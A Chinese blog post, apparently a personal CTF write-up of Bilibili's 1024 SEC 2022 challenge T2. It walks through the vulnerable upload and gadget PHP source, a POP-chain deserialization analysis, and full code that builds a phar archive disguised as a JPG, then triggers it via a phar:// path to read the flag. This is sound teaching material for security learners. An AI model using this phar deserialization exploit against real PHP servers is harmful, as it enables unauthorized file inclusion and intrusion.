吴先森的笔记
为退烧而生!
某咸鱼的笔记

BILIBILI 1024 SEC 2022程序员节T2题目答题过程记录

BILIBILI 1024 SEC 2022程序员节T2题目答题过程记录

分析题目

题目地址为http://BILIBILI_CTF_IP/(由于比赛结束后,此处IP地址将会失效,所以将题目地址全局替换为BILIBILI_CTF_IP,以免对此IP下一任主人造成不必要影响),直接打开发现显示为upup,对其进行扫描,发现以下路径

Found:  /index.html  (HTTP/1.1 200 OK)  !!!
Found:  /index.php  (HTTP/1.1 200 OK)  !!!
Found:  /upload.html  (HTTP/1.1 200 OK)  !!!
Found:  /upload.php  (HTTP/1.1 200 OK)  !!!
Found:  /upload.php?action=upfile  (HTTP/1.1 200 OK)  !!!
Found:  /upload/  (HTTP/1.1 403 Forbidden)  !!!

打开每个地址查看内容,发现upload.php中有highlight_file(__FILE__);函数,输出了自身代码。分析自身代码,发现引用了文件5d47c5d8a6299792.php,也使用了highlight_file(__FILE__);函数,输出了自身代码。并在自身代码中发现__wakeup()以及__toString()等反序列攻击使用的常见魔法函数、file_exists($fpath)存在反序列,判断此题应构建POP链进行反序列化攻击。

upload.php

<?php 
    header("content-type:text/html;charset=utf-8");
    
    date_default_timezone_set('PRC');

    if($_SERVER['REQUEST_METHOD']==='POST') {
        
        $filename = $_FILES['file']['name'];
        $temp_name = $_FILES['file']['tmp_name'];
        $size = $_FILES['file']['size'];
        $error = $_FILES['file']['error'];
        if ($size > 2*1024*1024){
            echo "<script>alert('文件过大');window.history.go(-1);</script>";
            exit();
        }
        
        $arr = pathinfo($filename);
        $ext_suffix = $arr['extension'];
        $allow_suffix = array('jpg','gif','jpeg','png');
        if(!in_array($ext_suffix, $allow_suffix)){  
            echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
            exit();
        }
        
        $new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix; 
        move_uploaded_file($temp_name, 'upload/'.$new_filename);
        echo "success save in: ".'upload/'.$new_filename;

    } else if ($_SERVER['REQUEST_METHOD']==='GET') {
        if (isset($_GET['c'])){
            include("5d47c5d8a6299792.php");
            $fpath = $_GET['c'];
            if(file_exists($fpath)){
                echo "file exists";
            } else { 
                echo "file not exists";
            }
        } else {
            highlight_file(__FILE__);
        } 
    }  
 ?>

5d47c5d8a6299792.php

<?php

// flag in /tmp/flag.php 



class Modifier {

    public function __invoke(){
        include("index.php");
    }
}

class Action {
    protected $checkAccess;
    protected $id;

    public function run()
    {  
        if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){ 
            echo "error path";
            exit();
        } 
        
        if ($this->id !== 0 && $this->id !== 1) {
            switch($this->id) {
                case 0:
                    if ($this->checkAccess) {
                        include($this->checkAccess);
                    }
                    break;
                case 1:
                    throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
                    break;
                default:
                    break;         
            }
        }
    }

}

class Content {

    public $formatters;

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function __call($name, $arguments)
    {
        return call_user_func_array($this->getFormatter($name), $arguments);
    }
}

class Show{
    public $source;
    public $str;
    public $reader;
    public function __construct($file='index.php') {
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString() {
        
        
        $this->str->reset();
    }

    public function __wakeup() {
        
        if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
            throw new Exception('invalid protocol found in '.__CLASS__);
        }
    }

    public function reset() {
        if ($this->reader !== null) {
            
            
            $this->reader->close();
        }
    }
}


highlight_file(__FILE__);

POP链构建

  • 5d47c5d8a6299792.php进行分析,注释中表明flag存在于/tmp/flag.php且Action类中存在run函数可以include此文件
  • 发现Show类中存在构造函数,并且输出$this->source变量的内容;我们可以将$this->source定义为Show类自身,以触发__toString()魔法函数
  • 触发__toString()魔法函数后,将会调用$this->str->reset(),$this->str为空,直接调用将会报错;我们需要将$this->str也定义为Show类自身,以调用Show类中的reset函数
  • 调用reset函数后,将会调用$this->reader->close()$this->reader->close()未定义,直接调用也会报错,再次分析整个文件,发现Content类中存在__call()魔法函数,即调用此类不存在的函数时,将自动调用__call()魔法函数以避免出错
  • 分析Content类中的__call函数,发现有call_user_func_array函数,我们可以使用此函数调用Action类中的run函数。分析发现,此函数会调用Content类中的getFormatter函数。getFormatter会检查formatters字典中是否存在传入变量formatter中的键名,如果存在则返回键值。于是我们可以将formatter赋值为[‘close’=>[‘Action类’, ‘run’]
  • Action类中的变量checkAccess赋值为/tmp/flag.php、变量id赋值为0后,发现存在if语句$this->id !== 0 && $this->id !== 1,表示id不能等于0或1,但是if语句中的switch则需要id等于0来include变量checkAccess中的文件。我们发现,此处if语句用的为强类型,于是我们可以将变量id设置为public类型以绕过检测

POP链:file_exists()反序列化 -> Show中的__construct() -> Show中的__toString() -> Content中的__call() -> 触发Action中的run引入flag

按照上述思路,可写出以下代码

<?php
class Show
{
    public $source;
    public $str;
    public $reader;
}
class Content
{
    public $formatters;
}
class Modifier
{
}
class Action
{
    protected $checkAccess = '/tmp/flag.php';
    public $id;
}

$m = new Modifier();
$s = new Show();
$c = new Content();
$a = new Action();
$s->source = $s;
$s->str = $s;
$a->id = '0';
$c->formatters['close'] = [$a, 'run'];
$s->reader = $c;

@unlink("phar.phar");
@unlink("phar.jpg");
$phar = new Phar("phar.phar"); // 文件后缀必须为phar否则报错
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($s);

$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
rename('phar.phar', 'phar.jpg');

在PHP7.4及以下,关闭phar readonly的服务器上运行此文件,得到phar.jpg文件

获得FLAG

将获得的phar.jpg上传到http://BILIBILI_CTF_IP/upload.php中,并获得上传文件在服务器中的路径

注:由于php只认phar中的<?php __HALT_COMPILER(); ?>,所以phar文件什么后缀可以

https://www.wunote.cn/wp-content/uploads/2022/11/235915-1024x798.png

然后构建get请求,参数为c=phar://upload/20221031235757445.jpg,请求upload.php,获得flag

https://www.wunote.cn/wp-content/uploads/2022/11/235850-1024x712.png

后记

第一次这种CTF题目,记得上次参加B站1024获得还是在2020年(2021届的1024活动太忙没时间参加),那时候的题目还没那么难,没想到今年的这么难,全靠大佬的专栏提示才做出4道题来(1、2、3、5题),拿了70分

https://www.wunote.cn/wp-content/uploads/2022/11/20221101005631-1024x576.png
https://www.wunote.cn/wp-content/uploads/2022/11/20221101005654-1024x576.png
https://www.wunote.cn/wp-content/uploads/2022/11/bilibili-ctf2022-back-1024x576.png
https://www.wunote.cn/wp-content/uploads/2022/11/bilibili-ctf2022-main-bg-1024x576.jpg

另:第一次解这种反序列CTF题目以及第一次写CTF答题记录,可能存在部分逻辑问题及表达不清,请各位CTF大佬多多包涵理解,也欢迎各位评论区讨论!

参考链接

2022 sec1024 提示汇总 – 哔哩哔哩 (bilibili.com)

2022年 1024程序员节 安全攻防挑战赛 题目分析记录(不断更新) – 哔哩哔哩 (bilibili.com)

php反序列化之pop链_林一不是01的博客-CSDN博客_pop链

发表评论请先填写昵称和邮箱
评论需要审核后才能显示,与内容无关的评论、灌水评论、广告等不会通过审核
本站的所有教程均博主亲身尝试后的经验,且未注明的均为原创
本站的内容可能很小白化,老鸟勿喷。
本文链接:https://www.wunote.cn/article/5167/
本文采用 CC BY-NC-SA 3.0 Unported 协议进行许可
没有标签
首页      其他      BILIBILI 1024 SEC 2022程序员节T2题目答题过程记录

某摆烂咸鱼

文章作者

为退烧而生!

发表回复

textsms
account_circle
email

某咸鱼的笔记

BILIBILI 1024 SEC 2022程序员节T2题目答题过程记录
分析题目 题目地址为http://BILIBILI_CTF_IP/(由于比赛结束后,此处IP地址将会失效,所以将题目地址全局替换为BILIBILI_CTF_IP,以免对此IP下一任主人造成不必要影响),直接打开发现…
扫描二维码继续阅读
2022-11-01
EA PLAYER &

历史记录 [ 注意:部分数据仅限于当前浏览器 ]清空

      00:00/00:00